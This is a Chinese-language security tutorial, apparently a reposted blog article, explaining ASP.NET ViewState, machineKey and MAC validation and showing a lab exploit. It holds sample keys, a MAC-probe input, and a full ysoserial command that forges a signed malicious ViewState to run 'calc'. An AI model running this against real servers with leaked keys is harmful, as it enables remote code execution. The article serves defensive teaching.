ASP.NETViewState反序列化漏洞介绍

admin 2026-01-21 00:46:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档深入解析ASP.NETViewState反序列化漏洞机制,阐述ViewState原理及machineKey配置。针对强制启用MAC的环境,演示了利用已知密钥通过ysoserial生成恶意ViewState实现RCE的过程。建议加强配置文件保密,防止密钥泄露引发安全风险。 综合评分: 85 文章分类: WEB安全,漏洞分析,渗透测试,漏洞POC


cover_image

ASP.NET ViewState反序列化漏洞介绍

原创

Ly4j Ly4j

Ly4j攻防手记

2026年1月20日 16:40 北京

1. ViewState 基础

1.1. web.config 文件

web.config 是 ASP.NET(.NET Framework)应用在 IIS 下的 XML 配置文件,用来定义应用级别的运行时设置、认证授权、请求过滤、错误处理、machineKey、连接字符串等。每个应用/目录都可以有自己的 web.config。

web.config 的常见配置节

在 .NET 中,web.config 是一个 XML 配置文件,它的结构由若干“配置节”组成。每个配置节用于定义某一类配置内容,例如安全、身份验证、数据库连接、编译设置等。

  • :ASP.NET 运行时相关(编译、ViewState、认证、授权、machineKey、customErrors 等)。
  • :IIS 层面的设置(模块/处理器、requestFiltering、httpErrors、rewrite 等)。
  • :数据库连接串(敏感,应加密或安全存储)。
  • :轻量配置键值。
  • :对指定路径单独配置访问权限或覆盖设置。

修改 web.config 不需要重启服务器或 IIS 服务。

1.2. ViewState 介绍

ViewState 是 ASP.NET 用来在客户端和服务器端之间保存页面状态的机制。用于保证页面在回发后仍能保持控件的状态,比如文本框的内容、选中状态。

ViewState 值默认认存储在页面的隐藏字段()中,编码为 Base64。

1.3. ViewState 开启和关闭的区别

ViewStateDemo.aspx

<%@ Page Language="C#" AutoEventWireup="true" %><!DOCTYPE&nbsp;html><html><head>&nbsp; &nbsp;&nbsp;<meta&nbsp;charset="utf-8"&nbsp;/>&nbsp; &nbsp;&nbsp;<title>ViewState Compare Demo</title></head><body>&nbsp; &nbsp;&nbsp;<form&nbsp;runat="server">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<h3>Label Demo (ViewState Compare)</h3>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<p>With ViewState:&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<asp:Label&nbsp;ID="lblWithViewState"&nbsp;runat="server"&nbsp;EnableViewState="true"&nbsp;/>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<p>Without ViewState:&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<asp:Label&nbsp;ID="lblWithoutViewState"&nbsp;runat="server"&nbsp;EnableViewState="false"&nbsp;/>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<asp:Button&nbsp;ID="btnSetTime"&nbsp;runat="server"&nbsp;Text="Set Time"&nbsp;OnClick="btnSetTime_Click"&nbsp;/>&nbsp; &nbsp;&nbsp;</form>
&nbsp; &nbsp;&nbsp;<script&nbsp;runat="server">&nbsp; &nbsp; &nbsp; &nbsp; protected&nbsp;void&nbsp;btnSetTime_Click(object sender, EventArgs e)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 只在控件为空时赋值&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(string.IsNullOrEmpty(lblWithViewState.Text))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lblWithViewState.Text&nbsp;=&nbsp;"With ViewState: "&nbsp;+&nbsp;DateTime.Now.ToString("HH:mm:ss");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(string.IsNullOrEmpty(lblWithoutViewState.Text))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lblWithoutViewState.Text&nbsp;=&nbsp;"Without ViewState: "&nbsp;+&nbsp;DateTime.Now.ToString("HH:mm:ss");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;</script></body></html>

第一次点击 Set Time,两个 Label 都显示当前时间

第二次点击 Set Time

  • With ViewState:第一次赋值已经被 ViewState 保存了,所以显示第一次的时间
  • Without ViewState:第一次赋值不被保存,显示最新的时间

1.4. machineKey 配置介绍

用于为ASP.NET应用程序提供加密和验证所需的密钥。

<machineKey
&nbsp; &nbsp; validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"
&nbsp; &nbsp; decryptionKey="E9D2490BD0075B51D1BA5288514514AF"
&nbsp; &nbsp; validation="HMACSHA256"
&nbsp; &nbsp; decryption="AES"
/>
  • validationKey:用来验证数据完整性,确保数据在传输过程中没有被修改。如生成和验证HMAC(哈希消息认证码)。算法示例 HMACSHA256, HMACSHA512。只有validationKey 时,能验证完整性,但数据可能被读取。
  • decryptionKey:用来加解密数据。算法示例 AES, 3DES。只有decryptionKey 时,能加解密数据,但无法防止篡改。

1.5. ViewState MAC

ViewState MAC(消息认证码)是一种安全特性,用于验证ViewState的完整性,防止客户端篡改ViewState。与之相关的是 validationKey 。

  • .NET版本 >= 4.5.2 时,强制启用MAC验证,即使将 EnableViewStateMac设置为false,也不能禁止ViewState的校验。
  • .NET版本 <= 4.5.1 时,EnableViewStateMac=”false” 可完全禁用MAC验证

1.5.1. web 判断 MAC 是否被禁用

发送“__VIEWSTATE=AAAA”,当MAC启用时,会看到明确的MAC验证错误信息

1.6. 通过 web 获取 .net 版本

通过响应头查看的.net 版本不准确,如所有 .NET 4.x 版本都显示 4.0.30319

实际的版本为 4.7.3,可以在报错页面查看。这个版本影响 MAC 行为。

但如果是 .NET 2.0/3.0/3.5,报错页面都只显示 ASP.NET 版本:2.0.50727.9031

2. ViewState 的工作机制

ASP.NET ViewState 的生成和验证流程:

序列化数据 → 加密 → 生成MAC签名 → 发送给客户端
客户端提交 → 验证MAC签名 → 解密 → 反序列化

所以当攻击者拥有如下信息时,可以伪造一个 ViewState 实现反序列化命令执行

  • 正确的加密算法 (decryption=”AES”)
  • 正确的验证算法 (validation=”HMACSHA256″)
  • 加密密钥 (decryptionKey)
  • 验证密钥 (validationKey)

3. ViewState 反序列化

3.1. ASP.NET 4.5.2 及以上

.NET版本 >= 4.5.2 时,强制启用MAC验证。

  • win2019 iis10
  • ASP.NET 4.7

web 根目录下新建 web.config、login.aspx 两个文件

web.config

<?xml version="1.0"&nbsp;encoding="UTF-8"?>&nbsp;&nbsp;<configuration>&nbsp; &nbsp;&nbsp;<system.web>&nbsp; &nbsp; &nbsp;&nbsp;<compilation&nbsp;debug="true"&nbsp;targetFramework="4.7"&nbsp;/>&nbsp;<!-- 这里的targetFramework应该匹配您的.NET Framework版本 -->&nbsp; &nbsp; &nbsp;&nbsp;<httpRuntime&nbsp;targetFramework="4.7"&nbsp;/>&nbsp;<!-- 同样,这里的targetFramework应该匹配您的.NET Framework版本 -->&nbsp; &nbsp; &nbsp;&nbsp;<customErrors&nbsp;mode="Off"&nbsp;/>&nbsp; &nbsp; &nbsp;&nbsp;<machineKey&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;decryptionKey="E9D2490BD0075B51D1BA5288514514AF"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;validation="HMACSHA256"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;decryption="AES"&nbsp; &nbsp; &nbsp; />&nbsp; &nbsp; &nbsp;&nbsp;<!-- 其他system.web配置可以在这里添加 -->&nbsp; &nbsp;&nbsp;</system.web>&nbsp; &nbsp;&nbsp;<!-- 其他配置节,如connectionStrings, appSettings, system.webServer等可以在这里添加 -->&nbsp; &nbsp;&nbsp;<system.webServer>&nbsp; &nbsp; &nbsp;&nbsp;<!-- IIS配置可以在这里添加 -->&nbsp; &nbsp;&nbsp;</system.webServer>&nbsp; &nbsp;&nbsp;<!-- 其他配置节,如runtime, logging等可以在这里添加 -->&nbsp;&nbsp;</configuration>

login.aspx

<script&nbsp;runat="server">&nbsp; &nbsp;&nbsp;Sub&nbsp;submit(sender&nbsp;As&nbsp;Object, e&nbsp;As&nbsp;EventArgs)&nbsp; &nbsp; lbl1.Text="Hello "&nbsp;& txt1.Text&nbsp;&&nbsp;"!"&nbsp; &nbsp;&nbsp;End&nbsp;Sub&nbsp; &nbsp;&nbsp;</script>
&nbsp; &nbsp;&nbsp;<html>&nbsp; &nbsp;&nbsp;<body>
&nbsp; &nbsp;&nbsp;<form&nbsp;runat="server">&nbsp; &nbsp; Your name:&nbsp;<asp:TextBox&nbsp;id="txt1"&nbsp;runat="server"&nbsp;/>&nbsp; &nbsp;&nbsp;<asp:Button&nbsp;OnClick="submit"&nbsp;Text="Submit"&nbsp;runat="server"&nbsp;/>&nbsp; &nbsp;&nbsp;<p><asp:Label&nbsp;id="lbl1"&nbsp;runat="server"&nbsp;/></p>&nbsp; &nbsp;&nbsp;</form>
&nbsp; &nbsp;&nbsp;</body>&nbsp; &nbsp;&nbsp;</html>

使用 TextFormattingRunProperties 这个gadget链生成序列化数据,用 AES 算法和密钥加密恶意序列化数据,接着用 HMACSHA256 算法和验证密钥为加密后的恶意数据生成有效的MAC签名。最后生成完整的恶意ViewState字符串 == 加密的数据 + MAC签名 (组合后Base64编码)

ysoserial.exe&nbsp;-p&nbsp;ViewState&nbsp;-g&nbsp;TextFormattingRunProperties&nbsp; --decryptionalg="AES"&nbsp;--validationalg="HMACSHA256"&nbsp;--decryptionkey="E9D2490BD0075B51D1BA5288514514AF"&nbsp; --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"&nbsp;--path="/login.aspx"&nbsp;--apppath="/"&nbsp;-c&nbsp;"calc"

点击登陆,然后替换__VIEWSTATE的值为生成的序列化值

服务端收到 ViewState 字符串后,base64 解码 > MAC 验证成功(攻击者有正确的validationKey)> 数据解密 > 成功(攻击者有正确的decryptionKey) > 反序列化触发漏洞(执行 calc 命令)。

4. 相关工具

4.1. ViewState Editor

4.2. Deserialization Scanner

burpsuite 插件


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ly4j攻防手记 Ly4j Ly4j《ASP.NET ViewState反序列化漏洞介绍》

评论:0   参与:  0